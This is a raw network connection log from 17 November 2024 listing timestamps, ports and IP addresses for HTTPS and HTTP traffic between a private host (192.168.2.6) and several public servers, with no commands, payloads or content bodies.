Nov 17, 2024 10:07:39.499545097 CET	49925	443	192.168.2.6	13.107.246.57
Nov 17, 2024 10:07:39.499587059 CET	443	49925	13.107.246.57	192.168.2.6
Nov 17, 2024 10:07:39.499659061 CET	49925	443	192.168.2.6	13.107.246.57
Nov 17, 2024 10:07:39.500072956 CET	49924	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:39.500096083 CET	443	49924	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:39.500109911 CET	49924	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:39.500116110 CET	443	49924	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:39.500232935 CET	443	49930	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:39.504805088 CET	49930	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:39.504827023 CET	443	49930	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:39.505024910 CET	443	49929	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:39.505341053 CET	49930	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:39.505352974 CET	443	49930	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:39.506575108 CET	443	49931	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:39.507014990 CET	49931	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:39.507047892 CET	443	49931	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:39.507585049 CET	49931	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:39.507596016 CET	443	49931	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:39.507821083 CET	443	49925	13.107.246.57	192.168.2.6
Nov 17, 2024 10:07:39.507826090 CET	443	49926	13.107.246.57	192.168.2.6
Nov 17, 2024 10:07:39.507838011 CET	443	49926	13.107.246.57	192.168.2.6
Nov 17, 2024 10:07:39.507863998 CET	443	49925	13.107.246.57	192.168.2.6
Nov 17, 2024 10:07:39.507877111 CET	443	49926	13.107.246.57	192.168.2.6
Nov 17, 2024 10:07:39.507904053 CET	49926	443	192.168.2.6	13.107.246.57
Nov 17, 2024 10:07:39.507917881 CET	443	49926	13.107.246.57	192.168.2.6
Nov 17, 2024 10:07:39.507919073 CET	443	49925	13.107.246.57	192.168.2.6
Nov 17, 2024 10:07:39.507953882 CET	49925	443	192.168.2.6	13.107.246.57
Nov 17, 2024 10:07:39.507968903 CET	49926	443	192.168.2.6	13.107.246.57
Nov 17, 2024 10:07:39.507976055 CET	443	49926	13.107.246.57	192.168.2.6
Nov 17, 2024 10:07:39.507976055 CET	443	49925	13.107.246.57	192.168.2.6
Nov 17, 2024 10:07:39.507987022 CET	49925	443	192.168.2.6	13.107.246.57
Nov 17, 2024 10:07:39.508013010 CET	49926	443	192.168.2.6	13.107.246.57
Nov 17, 2024 10:07:39.509785891 CET	49929	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:39.509793043 CET	443	49929	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:39.509886026 CET	443	49925	13.107.246.57	192.168.2.6
Nov 17, 2024 10:07:39.509933949 CET	443	49925	13.107.246.57	192.168.2.6
Nov 17, 2024 10:07:39.510041952 CET	49925	443	192.168.2.6	13.107.246.57
Nov 17, 2024 10:07:39.510041952 CET	49925	443	192.168.2.6	13.107.246.57
Nov 17, 2024 10:07:39.510050058 CET	443	49925	13.107.246.57	192.168.2.6
Nov 17, 2024 10:07:39.510102034 CET	443	49926	13.107.246.57	192.168.2.6
Nov 17, 2024 10:07:39.510123968 CET	443	49926	13.107.246.57	192.168.2.6
Nov 17, 2024 10:07:39.510157108 CET	49926	443	192.168.2.6	13.107.246.57
Nov 17, 2024 10:07:39.510168076 CET	443	49926	13.107.246.57	192.168.2.6
Nov 17, 2024 10:07:39.510178089 CET	49926	443	192.168.2.6	13.107.246.57
Nov 17, 2024 10:07:39.510232925 CET	49926	443	192.168.2.6	13.107.246.57
Nov 17, 2024 10:07:39.510591030 CET	49929	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:39.510596037 CET	443	49929	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:39.510632992 CET	443	49925	13.107.246.57	192.168.2.6
Nov 17, 2024 10:07:39.510701895 CET	49925	443	192.168.2.6	13.107.246.57
Nov 17, 2024 10:07:39.510708094 CET	443	49925	13.107.246.57	192.168.2.6
Nov 17, 2024 10:07:39.510777950 CET	443	49925	13.107.246.57	192.168.2.6
Nov 17, 2024 10:07:39.510904074 CET	49925	443	192.168.2.6	13.107.246.57
Nov 17, 2024 10:07:39.511667013 CET	443	49926	13.107.246.57	192.168.2.6
Nov 17, 2024 10:07:39.511684895 CET	443	49926	13.107.246.57	192.168.2.6
Nov 17, 2024 10:07:39.511750937 CET	49926	443	192.168.2.6	13.107.246.57
Nov 17, 2024 10:07:39.511759043 CET	443	49926	13.107.246.57	192.168.2.6
Nov 17, 2024 10:07:39.511797905 CET	49926	443	192.168.2.6	13.107.246.57
Nov 17, 2024 10:07:39.513298988 CET	49936	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:39.513323069 CET	443	49936	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:39.513386011 CET	49936	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:39.513554096 CET	49936	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:39.513566017 CET	443	49936	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:39.514650106 CET	49937	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:39.514695883 CET	443	49937	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:39.514764071 CET	49937	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:39.515420914 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:39.515460014 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:39.515511990 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:39.515558004 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:39.515569925 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:39.515580893 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:39.515592098 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:39.515604019 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:39.515607119 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:39.515614033 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:39.515629053 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:39.515630960 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:39.515640974 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:39.515650988 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:39.515651941 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:39.515665054 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:39.515697002 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:39.516063929 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:39.516117096 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:39.520365953 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:39.520418882 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:39.521070957 CET	49937	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:39.521100998 CET	443	49937	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:39.547899008 CET	49925	443	192.168.2.6	13.107.246.57
Nov 17, 2024 10:07:39.547921896 CET	443	49925	13.107.246.57	192.168.2.6
Nov 17, 2024 10:07:39.576864958 CET	443	49926	13.107.246.57	192.168.2.6
Nov 17, 2024 10:07:39.576884985 CET	443	49926	13.107.246.57	192.168.2.6
Nov 17, 2024 10:07:39.576936960 CET	49926	443	192.168.2.6	13.107.246.57
Nov 17, 2024 10:07:39.576953888 CET	443	49926	13.107.246.57	192.168.2.6
Nov 17, 2024 10:07:39.576982021 CET	49926	443	192.168.2.6	13.107.246.57
Nov 17, 2024 10:07:39.577001095 CET	49926	443	192.168.2.6	13.107.246.57
Nov 17, 2024 10:07:39.602133989 CET	443	49926	13.107.246.57	192.168.2.6
Nov 17, 2024 10:07:39.602154970 CET	443	49926	13.107.246.57	192.168.2.6
Nov 17, 2024 10:07:39.602216005 CET	49926	443	192.168.2.6	13.107.246.57
Nov 17, 2024 10:07:39.602237940 CET	443	49926	13.107.246.57	192.168.2.6
Nov 17, 2024 10:07:39.602277040 CET	49926	443	192.168.2.6	13.107.246.57
Nov 17, 2024 10:07:39.602516890 CET	443	49926	13.107.246.57	192.168.2.6
Nov 17, 2024 10:07:39.602533102 CET	443	49926	13.107.246.57	192.168.2.6
Nov 17, 2024 10:07:39.602582932 CET	49926	443	192.168.2.6	13.107.246.57
Nov 17, 2024 10:07:39.602591038 CET	443	49926	13.107.246.57	192.168.2.6
Nov 17, 2024 10:07:39.602627039 CET	49926	443	192.168.2.6	13.107.246.57
Nov 17, 2024 10:07:39.603230953 CET	443	49926	13.107.246.57	192.168.2.6
Nov 17, 2024 10:07:39.603252888 CET	443	49926	13.107.246.57	192.168.2.6
Nov 17, 2024 10:07:39.603303909 CET	49926	443	192.168.2.6	13.107.246.57
Nov 17, 2024 10:07:39.603328943 CET	443	49926	13.107.246.57	192.168.2.6
Nov 17, 2024 10:07:39.603343010 CET	49926	443	192.168.2.6	13.107.246.57
Nov 17, 2024 10:07:39.603380919 CET	49926	443	192.168.2.6	13.107.246.57
Nov 17, 2024 10:07:39.603951931 CET	443	49926	13.107.246.57	192.168.2.6
Nov 17, 2024 10:07:39.603967905 CET	443	49926	13.107.246.57	192.168.2.6
Nov 17, 2024 10:07:39.604015112 CET	49926	443	192.168.2.6	13.107.246.57
Nov 17, 2024 10:07:39.604027033 CET	443	49926	13.107.246.57	192.168.2.6
Nov 17, 2024 10:07:39.604064941 CET	49926	443	192.168.2.6	13.107.246.57
Nov 17, 2024 10:07:39.604572058 CET	443	49926	13.107.246.57	192.168.2.6
Nov 17, 2024 10:07:39.604598045 CET	443	49926	13.107.246.57	192.168.2.6
Nov 17, 2024 10:07:39.604656935 CET	49926	443	192.168.2.6	13.107.246.57
Nov 17, 2024 10:07:39.604676962 CET	443	49926	13.107.246.57	192.168.2.6
Nov 17, 2024 10:07:39.604687929 CET	49926	443	192.168.2.6	13.107.246.57
Nov 17, 2024 10:07:39.604729891 CET	49926	443	192.168.2.6	13.107.246.57
Nov 17, 2024 10:07:39.604762077 CET	443	49934	3.170.115.43	192.168.2.6
Nov 17, 2024 10:07:39.605036974 CET	49934	443	192.168.2.6	3.170.115.43
Nov 17, 2024 10:07:39.605057955 CET	443	49934	3.170.115.43	192.168.2.6
Nov 17, 2024 10:07:39.606165886 CET	443	49934	3.170.115.43	192.168.2.6
Nov 17, 2024 10:07:39.606228113 CET	49934	443	192.168.2.6	3.170.115.43
Nov 17, 2024 10:07:39.607223988 CET	49934	443	192.168.2.6	3.170.115.43
Nov 17, 2024 10:07:39.607289076 CET	443	49934	3.170.115.43	192.168.2.6
Nov 17, 2024 10:07:39.607573032 CET	49934	443	192.168.2.6	3.170.115.43
Nov 17, 2024 10:07:39.607583046 CET	443	49934	3.170.115.43	192.168.2.6
Nov 17, 2024 10:07:39.622843027 CET	49938	443	192.168.2.6	23.47.50.150
Nov 17, 2024 10:07:39.622860909 CET	443	49938	23.47.50.150	192.168.2.6
Nov 17, 2024 10:07:39.622958899 CET	49938	443	192.168.2.6	23.47.50.150
Nov 17, 2024 10:07:39.623107910 CET	49939	443	192.168.2.6	23.47.50.150
Nov 17, 2024 10:07:39.623166084 CET	443	49939	23.47.50.150	192.168.2.6
Nov 17, 2024 10:07:39.623248100 CET	49940	443	192.168.2.6	23.47.50.150
Nov 17, 2024 10:07:39.623274088 CET	443	49940	23.47.50.150	192.168.2.6
Nov 17, 2024 10:07:39.623280048 CET	49939	443	192.168.2.6	23.47.50.150
Nov 17, 2024 10:07:39.623514891 CET	49940	443	192.168.2.6	23.47.50.150
Nov 17, 2024 10:07:39.623883963 CET	49941	443	192.168.2.6	23.47.50.150
Nov 17, 2024 10:07:39.623908043 CET	443	49941	23.47.50.150	192.168.2.6
Nov 17, 2024 10:07:39.623969078 CET	49942	443	192.168.2.6	23.47.50.150
Nov 17, 2024 10:07:39.623979092 CET	443	49942	23.47.50.150	192.168.2.6
Nov 17, 2024 10:07:39.624041080 CET	49942	443	192.168.2.6	23.47.50.150
Nov 17, 2024 10:07:39.624042988 CET	49941	443	192.168.2.6	23.47.50.150
Nov 17, 2024 10:07:39.624170065 CET	49943	443	192.168.2.6	23.47.50.150
Nov 17, 2024 10:07:39.624176979 CET	443	49943	23.47.50.150	192.168.2.6
Nov 17, 2024 10:07:39.624356031 CET	49938	443	192.168.2.6	23.47.50.150
Nov 17, 2024 10:07:39.624372005 CET	443	49938	23.47.50.150	192.168.2.6
Nov 17, 2024 10:07:39.624396086 CET	49943	443	192.168.2.6	23.47.50.150
Nov 17, 2024 10:07:39.624464035 CET	49942	443	192.168.2.6	23.47.50.150
Nov 17, 2024 10:07:39.624481916 CET	443	49942	23.47.50.150	192.168.2.6
Nov 17, 2024 10:07:39.624625921 CET	49941	443	192.168.2.6	23.47.50.150
Nov 17, 2024 10:07:39.624639034 CET	443	49941	23.47.50.150	192.168.2.6
Nov 17, 2024 10:07:39.624641895 CET	49940	443	192.168.2.6	23.47.50.150
Nov 17, 2024 10:07:39.624659061 CET	443	49940	23.47.50.150	192.168.2.6
Nov 17, 2024 10:07:39.624761105 CET	49939	443	192.168.2.6	23.47.50.150
Nov 17, 2024 10:07:39.624810934 CET	443	49939	23.47.50.150	192.168.2.6
Nov 17, 2024 10:07:39.624947071 CET	49943	443	192.168.2.6	23.47.50.150
Nov 17, 2024 10:07:39.624955893 CET	443	49943	23.47.50.150	192.168.2.6
Nov 17, 2024 10:07:39.631789923 CET	443	49930	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:39.631850004 CET	443	49930	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:39.632010937 CET	49930	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:39.635978937 CET	443	49929	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:39.636121035 CET	443	49929	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:39.636193037 CET	49929	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:39.640747070 CET	443	49931	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:39.640904903 CET	443	49931	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:39.641153097 CET	49931	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:39.663849115 CET	49930	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:39.663877964 CET	443	49930	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:39.665157080 CET	49929	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:39.665183067 CET	443	49929	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:39.665209055 CET	49929	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:39.665220976 CET	443	49929	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:39.665556908 CET	49931	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:39.665556908 CET	49931	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:39.665574074 CET	443	49931	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:39.665595055 CET	443	49931	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:39.668474913 CET	49944	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:39.668493032 CET	443	49944	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:39.668665886 CET	49944	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:39.669255972 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:39.669275999 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:39.669287920 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:39.669312000 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:39.669356108 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:39.669433117 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:39.669487000 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:39.669498920 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:39.669513941 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:39.669527054 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:39.669533968 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:39.669569016 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:39.669569016 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:39.670137882 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:39.670150995 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:39.670171022 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:39.670183897 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:39.670205116 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:39.670247078 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:39.670722008 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:39.670732975 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:39.670746088 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:39.670783043 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:39.670795918 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:39.670798063 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:39.670808077 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:39.670820951 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:39.670860052 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:39.670892954 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:39.671344995 CET	49945	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:39.671358109 CET	443	49945	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:39.671489954 CET	49945	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:39.671580076 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:39.671628952 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:39.671631098 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:39.671641111 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:39.671673059 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:39.671673059 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:39.671684027 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:39.671695948 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:39.671708107 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:39.671740055 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:39.671765089 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:39.673000097 CET	49944	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:39.673022032 CET	443	49944	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:39.673568964 CET	49946	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:39.673580885 CET	443	49946	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:39.673701048 CET	49946	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:39.675259113 CET	49946	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:39.675273895 CET	443	49946	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:39.675502062 CET	49945	443	192.168.2.6	13.107.246.45
Nov 17, 2024 10:07:39.675514936 CET	443	49945	13.107.246.45	192.168.2.6
Nov 17, 2024 10:07:39.693691969 CET	443	49926	13.107.246.57	192.168.2.6
Nov 17, 2024 10:07:39.693717003 CET	443	49926	13.107.246.57	192.168.2.6
Nov 17, 2024 10:07:39.693772078 CET	49926	443	192.168.2.6	13.107.246.57
Nov 17, 2024 10:07:39.693788052 CET	443	49926	13.107.246.57	192.168.2.6
Nov 17, 2024 10:07:39.693821907 CET	49926	443	192.168.2.6	13.107.246.57
Nov 17, 2024 10:07:39.693839073 CET	49926	443	192.168.2.6	13.107.246.57
Nov 17, 2024 10:07:39.693876028 CET	443	49926	13.107.246.57	192.168.2.6
Nov 17, 2024 10:07:39.693891048 CET	443	49926	13.107.246.57	192.168.2.6
Nov 17, 2024 10:07:39.693924904 CET	49926	443	192.168.2.6	13.107.246.57
Nov 17, 2024 10:07:39.693932056 CET	443	49926	13.107.246.57	192.168.2.6
Nov 17, 2024 10:07:39.693959951 CET	49926	443	192.168.2.6	13.107.246.57
Nov 17, 2024 10:07:39.693979025 CET	49926	443	192.168.2.6	13.107.246.57
Nov 17, 2024 10:07:39.694422960 CET	443	49926	13.107.246.57	192.168.2.6
Nov 17, 2024 10:07:39.694438934 CET	443	49926	13.107.246.57	192.168.2.6
Nov 17, 2024 10:07:39.694490910 CET	49926	443	192.168.2.6	13.107.246.57
Nov 17, 2024 10:07:39.694499969 CET	443	49926	13.107.246.57	192.168.2.6
Nov 17, 2024 10:07:39.694535017 CET	49926	443	192.168.2.6	13.107.246.57
Nov 17, 2024 10:07:39.715287924 CET	49947	443	192.168.2.6	162.159.61.3
Nov 17, 2024 10:07:39.715332985 CET	443	49947	162.159.61.3	192.168.2.6
Nov 17, 2024 10:07:39.715415001 CET	49947	443	192.168.2.6	162.159.61.3
Nov 17, 2024 10:07:39.715958118 CET	49948	443	192.168.2.6	162.159.61.3
Nov 17, 2024 10:07:39.715998888 CET	443	49948	162.159.61.3	192.168.2.6
Nov 17, 2024 10:07:39.716162920 CET	49948	443	192.168.2.6	162.159.61.3
Nov 17, 2024 10:07:39.717771053 CET	49947	443	192.168.2.6	162.159.61.3
Nov 17, 2024 10:07:39.717789888 CET	443	49947	162.159.61.3	192.168.2.6
Nov 17, 2024 10:07:39.719204903 CET	443	49926	13.107.246.57	192.168.2.6
Nov 17, 2024 10:07:39.719225883 CET	443	49926	13.107.246.57	192.168.2.6
Nov 17, 2024 10:07:39.719266891 CET	49926	443	192.168.2.6	13.107.246.57
Nov 17, 2024 10:07:39.719283104 CET	443	49926	13.107.246.57	192.168.2.6
Nov 17, 2024 10:07:39.719305992 CET	49926	443	192.168.2.6	13.107.246.57
Nov 17, 2024 10:07:39.719326019 CET	49926	443	192.168.2.6	13.107.246.57
Nov 17, 2024 10:07:39.719669104 CET	443	49926	13.107.246.57	192.168.2.6
Nov 17, 2024 10:07:39.719685078 CET	443	49926	13.107.246.57	192.168.2.6
Nov 17, 2024 10:07:39.719712019 CET	49948	443	192.168.2.6	162.159.61.3
Nov 17, 2024 10:07:39.719722986 CET	49926	443	192.168.2.6	13.107.246.57
Nov 17, 2024 10:07:39.719729900 CET	443	49926	13.107.246.57	192.168.2.6
Nov 17, 2024 10:07:39.719731092 CET	443	49948	162.159.61.3	192.168.2.6
Nov 17, 2024 10:07:39.719748020 CET	49926	443	192.168.2.6	13.107.246.57
Nov 17, 2024 10:07:39.719770908 CET	49926	443	192.168.2.6	13.107.246.57
Nov 17, 2024 10:07:39.720211983 CET	443	49926	13.107.246.57	192.168.2.6
Nov 17, 2024 10:07:39.720227003 CET	443	49926	13.107.246.57	192.168.2.6
Nov 17, 2024 10:07:39.720267057 CET	49926	443	192.168.2.6	13.107.246.57
Nov 17, 2024 10:07:39.720276117 CET	443	49926	13.107.246.57	192.168.2.6
Nov 17, 2024 10:07:39.720299959 CET	49926	443	192.168.2.6	13.107.246.57
Nov 17, 2024 10:07:39.720315933 CET	49926	443	192.168.2.6	13.107.246.57
Nov 17, 2024 10:07:39.720655918 CET	443	49926	13.107.246.57	192.168.2.6
Nov 17, 2024 10:07:39.720669985 CET	443	49926	13.107.246.57	192.168.2.6
Nov 17, 2024 10:07:39.720717907 CET	49926	443	192.168.2.6	13.107.246.57
Nov 17, 2024 10:07:39.720726013 CET	443	49926	13.107.246.57	192.168.2.6
Nov 17, 2024 10:07:39.720767975 CET	49926	443	192.168.2.6	13.107.246.57
Nov 17, 2024 10:07:39.720901012 CET	443	49926	13.107.246.57	192.168.2.6
Nov 17, 2024 10:07:39.720959902 CET	49926	443	192.168.2.6	13.107.246.57
Nov 17, 2024 10:07:39.720967054 CET	443	49926	13.107.246.57	192.168.2.6
Nov 17, 2024 10:07:39.720987082 CET	443	49926	13.107.246.57	192.168.2.6
Nov 17, 2024 10:07:39.721014977 CET	49926	443	192.168.2.6	13.107.246.57
Nov 17, 2024 10:07:39.721031904 CET	49926	443	192.168.2.6	13.107.246.57
Nov 17, 2024 10:07:39.726650953 CET	49926	443	192.168.2.6	13.107.246.57
Nov 17, 2024 10:07:39.726665974 CET	443	49926	13.107.246.57	192.168.2.6
Nov 17, 2024 10:07:39.761646032 CET	443	49932	13.89.179.10	192.168.2.6
Nov 17, 2024 10:07:39.763267994 CET	49932	443	192.168.2.6	13.89.179.10
Nov 17, 2024 10:07:39.763287067 CET	443	49932	13.89.179.10	192.168.2.6
Nov 17, 2024 10:07:39.764473915 CET	443	49932	13.89.179.10	192.168.2.6
Nov 17, 2024 10:07:39.764655113 CET	49932	443	192.168.2.6	13.89.179.10
Nov 17, 2024 10:07:39.775585890 CET	443	49934	3.170.115.43	192.168.2.6
Nov 17, 2024 10:07:39.775654078 CET	49934	443	192.168.2.6	3.170.115.43
Nov 17, 2024 10:07:39.799213886 CET	443	49933	20.125.209.212	192.168.2.6
Nov 17, 2024 10:07:39.813236952 CET	49933	443	192.168.2.6	20.125.209.212
Nov 17, 2024 10:07:39.813257933 CET	443	49933	20.125.209.212	192.168.2.6
Nov 17, 2024 10:07:39.814929962 CET	443	49933	20.125.209.212	192.168.2.6
Nov 17, 2024 10:07:39.814996958 CET	49933	443	192.168.2.6	20.125.209.212
Nov 17, 2024 10:07:39.822964907 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:39.823020935 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:39.823049068 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:39.823076963 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:39.823087931 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:39.823100090 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:39.823121071 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:39.823131084 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:39.823137999 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:39.823143005 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:39.823154926 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:39.823164940 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:39.823177099 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:39.823187113 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:39.823193073 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:39.823204994 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:39.823220015 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:39.823246956 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:39.823843956 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:39.823868990 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:39.823884964 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:39.823903084 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:39.823932886 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:39.823944092 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:39.823966980 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:39.823980093 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:39.823997021 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:39.824009895 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:39.824038029 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:39.824299097 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:39.824343920 CET	49892	80	192.168.2.6	185.215.113.206
Nov 17, 2024 10:07:39.824362993 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:39.824373960 CET	80	49892	185.215.113.206	192.168.2.6
Nov 17, 2024 10:07:39.824399948 CET	49892	80	192.168.2.6	185.215.113.206
